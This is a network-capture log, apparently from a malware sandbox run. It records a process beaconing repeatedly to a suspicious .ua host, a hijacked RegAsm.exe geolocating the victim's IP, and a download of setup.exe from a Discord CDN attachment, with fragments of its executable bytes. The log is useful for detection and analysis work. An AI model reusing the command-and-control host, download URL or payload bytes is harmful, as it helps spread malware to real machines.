Sep 29, 2024 00:55:12.502412081 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49806	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:12.656224012 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:13.369340897 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	49807	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:13.490570068 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:15.023787975 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:15.024836063 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:15.024880886 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49808	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:15.152573109 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:15.877641916 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49809	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:16.021692991 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:16.730243921 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49810	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:16.849772930 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:17.549947977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	49811	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:17.708853006 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:18.396881104 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	49812	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:18.665729046 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:19.365560055 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	49813	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:19.492624044 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:20.199826002 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:20.317229986 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:20.556065083 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	49814	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:20.677639961 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:21.382586956 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	173.231.16.77	443	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:16 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-09-28 22:53:16 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 28 Sep 2024 22:53:16 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-09-28 22:53:16 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	34.117.59.81	443	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:17 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-09-28 22:53:17 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Sat, 28 Sep 2024 22:53:17 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-28 22:53:17 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-09-28 22:53:17 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49714	162.159.130.233	443	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:22 UTC	373	OUT	HEAD /attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive
2024-09-28 22:53:22 UTC	1175	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:22 GMT Content-Type: application/x-msdos-program Content-Length: 7620947 Connection: close CF-Ray: 8ca74f292b648cb7-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 4643 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "5b9e9580bb4e446abe9edbc7556e0d32" Expires: Sun, 28 Sep 2025 22:53:22 GMT Last-Modified: Sat, 28 Sep 2024 19:10:25 GMT Vary: Accept-Encoding x-goog-generation: 1727550625732604 x-goog-hash: crc32c=knMMmw== x-goog-hash: md5=W56VgLtORGq+ntvHVW4NMg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7620947 x-guploader-uploadid: AD-8ljt4Kg-wel84o8whm6bWEgrHwnYT1L_u2fO5V-a_iGB8HMfAtA_y97OG8FkUkA2i4G5XHdg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=wpi6oPUcntYrXWT3PYGwGgDWKmpGfD4ZkuNO6kBvh64-1727564002-1.0.1.1-MrMb8JOnPSN8tnxNgmDckRkxoeMJPdy.Zdp6geseOA1kyYiRgyy32DpdsDfaphc.ai880_T0oqzy1Ij9IOvFEQ; path=/; expires=Sat, 28-Sep-24 23:23:22 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2024-09-28 22:53:22 UTC	511	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 4d 48 54 54 63 50 30 64 63 79 41 63 54 36 75 71 57 6a 64 4b 65 36 43 77 70 36 33 56 7a 42 58 44 73 46 57 79 37 57 33 56 44 79 75 50 59 74 33 5a 73 34 5a 50 68 6d 73 64 30 66 55 76 77 61 4a 56 4e 70 51 5a 66 73 31 52 6d 65 6e 7a 49 51 78 25 32 42 36 55 4b 53 54 48 34 63 4a 76 6c 72 74 70 62 57 67 4a 46 6c 62 69 62 58 74 49 47 62 48 7a 67 6b 67 66 55 75 38 6b 55 4f 61 30 79 78 6b 76 58 6d 7a 56 46 71 4e 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHTTcP0dcyAcT6uqWjdKe6Cwp63VzBXDsFWy7W3VDyuPYt3Zs4ZPhmsd0fUvwaJVNpQZfs1RmenzIQx%2B6UKSTH4cJvlrtpbWgJFlbibXtIGbHzgkgfUu8kUOa0yxkvXmzVFqNA%3D%3D"}],"group":"cf-nel","max_age":6048

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49715	162.159.130.233	443	7600	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:53:24 UTC	624	OUT	GET /attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621&is=66f854a1&hm=fc4266f43c6f8dfc860fb6b6d8abbcf74b2c0c3aad95f3315ea5328c3afac3cf& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive Cookie: __cf_bm=wpi6oPUcntYrXWT3PYGwGgDWKmpGfD4ZkuNO6kBvh64-1727564002-1.0.1.1-MrMb8JOnPSN8tnxNgmDckRkxoeMJPdy.Zdp6geseOA1kyYiRgyy32DpdsDfaphc.ai880_T0oqzy1Ij9IOvFEQ; _cfuvid=Fux3.V5pZy3_FTP4N1VuUhIkq8HQnc5B3SRi7LPp5jE-1727564002783-0.0.1.1-604800000
2024-09-28 22:53:24 UTC	1259	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:53:24 GMT Content-Type: application/x-msdos-program Content-Length: 7620947 Connection: close CF-Ray: 8ca74f339e2d42ef-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 4645 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "5b9e9580bb4e446abe9edbc7556e0d32" Expires: Sun, 28 Sep 2025 22:53:24 GMT Last-Modified: Sat, 28 Sep 2024 19:10:25 GMT Vary: Accept-Encoding x-goog-generation: 1727550625732604 x-goog-hash: crc32c=knMMmw== x-goog-hash: md5=W56VgLtORGq+ntvHVW4NMg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7620947 x-guploader-uploadid: AD-8ljt4Kg-wel84o8whm6bWEgrHwnYT1L_u2fO5V-a_iGB8HMfAtA_y97OG8FkUkA2i4G5XHdg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kPux3%2BCwJtQagW7jRZQ%2FnUNMTCRFvr1dviAm%2BSObXT9XbKw3G2sWh6BowiujWffkdqb64%2FwMIkincdvGGLHL8LfIJ3h0ZwIivWjB7FXPpSlUUZpItExZy1cVBC4%2FO0IdpjZlaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-09-28 22:53:24 UTC	110	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f Data Ascii: MZ@!L!This program cannot be run in DO
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 9a 01 00 00 b0 00 00 00 00 00 00 04 4b 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 e9 01 00 64 Data Ascii: S mode.$Wsss}sys,sr!s.sxsss^usRichsPELSLK@d
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: ff ff ff 01 0f 84 e0 02 00 00 8d 8d 54 ff ff ff e8 79 0f 00 00 bf 34 b3 41 00 8d 95 54 ff ff ff 8d 4d a8 89 bd 54 ff ff ff e8 65 2b 00 00 84 c0 75 19 38 5d 0b 75 0c ba 20 02 42 00 33 c9 e8 89 fe 00 00 6a 01 5b e9 21 01 00 00 68 14 02 42 00 8d 4d f0 e8 61 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d c0 e8 42 2e 00 00 ff 75 f0 e8 63 28 00 00 8d 4d f0 c7 04 24 fc 01 42 00 e8 38 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d d8 e8 19 2e 00 00 ff 75 f0 e8 3a 28 00 00 8d 4d f0 c7 04 24 e8 01 42 00 e8 0f 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 8d 20 ff ff ff e8 ed 2d 00 00 ff 75 f0 e8 0e 28 00 00 59 ba e0 01 42 00 8b 8d 20 ff ff ff e8 b0 28 00 00 85 c0 75 06 88 9d 2c ff ff ff 68 cc 01 42 00 8d 4d f0 e8 ca 09 00 00 8d 55 f0 8d 8d 54 ff ff ff e8 7d 2d 00 00 ff 75 Data Ascii: Ty4ATMTe+u8]u B3j[!hBMaETPMB.uc(M$B8ETPM.u:(M$BETP -u(YB (u,hBMUT}-u
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: c0 e8 76 23 00 00 59 e9 2e 02 00 00 39 5d d0 75 56 68 d0 00 42 00 8d 4d cc e8 dd 05 00 00 8d 55 cc 8d 8d 48 ff ff ff e8 cc 02 00 00 8b 08 e8 29 41 00 00 ff b5 48 ff ff ff f6 d8 1a c0 fe c0 88 45 ff e8 35 23 00 00 38 5d ff 59 74 1a 38 5d 0b 0f 85 39 01 00 00 ba a0 00 42 00 33 c9 e8 11 f9 00 00 e9 28 01 00 00 8d 85 3c ff ff ff 8d 4d c0 50 e8 4b 05 00 00 8d 4d c0 e8 6d 45 00 00 68 94 00 42 00 8d 4d f0 e8 d5 04 00 00 8d 45 c0 8d 4d cc 50 8d 45 f0 50 e8 9b 06 00 00 ff 75 f0 e8 d9 22 00 00 ff 75 c0 e8 d1 22 00 00 59 59 68 8c 00 42 00 8d 4d f0 e8 a6 04 00 00 8d 85 3c ff ff ff 8d 4d cc 50 8d 45 f0 50 e8 69 06 00 00 ff 75 f0 e8 a7 22 00 00 39 5d e8 59 74 16 6a 20 8d 4d cc e8 b3 05 00 00 8d 45 e4 8d 4d cc 50 e8 d2 05 00 00 8d 45 cc 8d 95 30 ff ff ff 50 8d 8d 48 ff Data Ascii: v#Y.9]uVhBMUH)AHE5#8]Yt8]9B3(<MPKMmEhBMEMPEPu"u"YYhBM<MPEPiu"9]Ytj MEMPE0PH
2024-09-28 22:53:24 UTC	1369	IN	Data Raw: 08 00 e9 f5 3c 00 00 55 8b ec 51 53 56 57 8b 7d 08 8b f1 33 db 89 5d fc 89 1e 89 5e 04 89 5e 08 66 39 1f 74 0c 8b c7 ff 45 fc 40 40 66 39 18 75 f6 ff 75 fc 8b ce e8 bc 04 00 00 8b 06 66 8b 0f 8d 57 02 66 89 08 40 40 66 3b cb 74 0c 66 8b 0a 66 89 08 40 40 42 42 eb ef 8b 45 fc 5f 89 46 04 8b c6 5e 5b c9 c2 04 00 56 57 8b 7c 24 0c 8b f1 33 c0 89 06 89 46 04 89 46 08 ff 77 04 e8 75 04 00 00 8b 0f 8b 06 66 8b 11 66 89 10 40 40 41 41 66 85 d2 75 f1 8b 47 04 5f 89 46 04 8b c6 5e c2 04 00 55 8b ec 51 56 8b f1 57 8b 7d 08 8b 06 33 c9 89 4e 04 89 4d fc 66 89 08 66 39 0f 74 0c 8b c7 ff 45 fc 40 40 66 39 08 75 f6 ff 75 fc 8b ce e8 22 04 00 00 8b 06 66 8b 0f 8d 57 02 66 89 08 40 40 66 85 c9 74 0c 66 8b 0a 66 89 08 40 40 42 42 eb ef 8b 45 fc 5f 89 46 04 8b c6 5e c9 c2 Data Ascii: <UQSVW}3]^^f9tE@@f9uufWf@@f;tff@@BBE_F^[VW\|$3FFwuff@@AAfuG_F^UQVW}3NMff9tE@@f9uu"fWf@@ftff@@BBE_F^
